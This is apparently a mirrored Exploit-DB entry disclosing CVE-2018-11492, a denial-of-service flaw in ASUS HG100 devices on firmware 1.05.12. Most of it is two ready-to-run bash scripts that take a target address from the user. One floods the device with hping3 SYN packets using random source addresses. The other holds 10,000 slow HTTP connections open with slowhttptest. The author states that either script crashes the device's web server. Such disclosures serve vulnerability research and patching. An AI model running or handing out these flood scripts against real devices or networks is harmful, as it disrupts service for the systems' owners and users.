ASUS HG100 – Denial of Service

  • 作者: YinT Wang
    日期: 2019-04-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46720/
  • # Exploit Title:ASUS HG100 devices denial of service(DOS) via IPv4 packets/SlowHTTPDOS 
    # Date: 2019-04-14 # Exploit Author: YinT Wang; 
    # Vendor Homepage: www.asus.com 
    # Version: Hardware version: HG100 、Firmware version:1.05.12 
    # Tested on: Currnet 1.05.12 
    # CVE : CVE-2018-11492
    
    1. Description 
    The attack at same Local-Network-area could crash the device via the Hping3 or Slowhttptest(which is not include in the CVE-2018-11492).
    
    2.Proof of Concept
    Just Execute the following script in kali which could crash the devices
    
    1. IPv4 packet and in result of devices crash.which written in linux script.
    
    #needed to co-operate with hping3 tool
    #with the time period at least 220s which could cause web server of HG100 devices crash
    #!/bin/bash
    read -p "enter the ip of HG100 here " url
    hping3 -V -c 10000 -S -w 64 --flood --rand-source $url
    sleep 220
    echo "Hping3 –V –c 10000 –S –w 64 –flood –rand-source $url time 220s"
    exit 0
    
    2.Slowhttp test and caused the devices crash.which written in linux script.
    
    #needed to co-operate with slowhttptest tool
    #with the time period 600s which could cause web server of HG100 devices crash
    #!/bin/bash
    read -p "enter the ip of HG100 with port here ex: http://x.x.x.x:123 " url
    slowhttptest -H -R -c 10000 -l 600 -u $url
    sleep 600
    echo "slowhttptest -H -R -c 10000 -l 600 -u $url time 600s"
    exit 0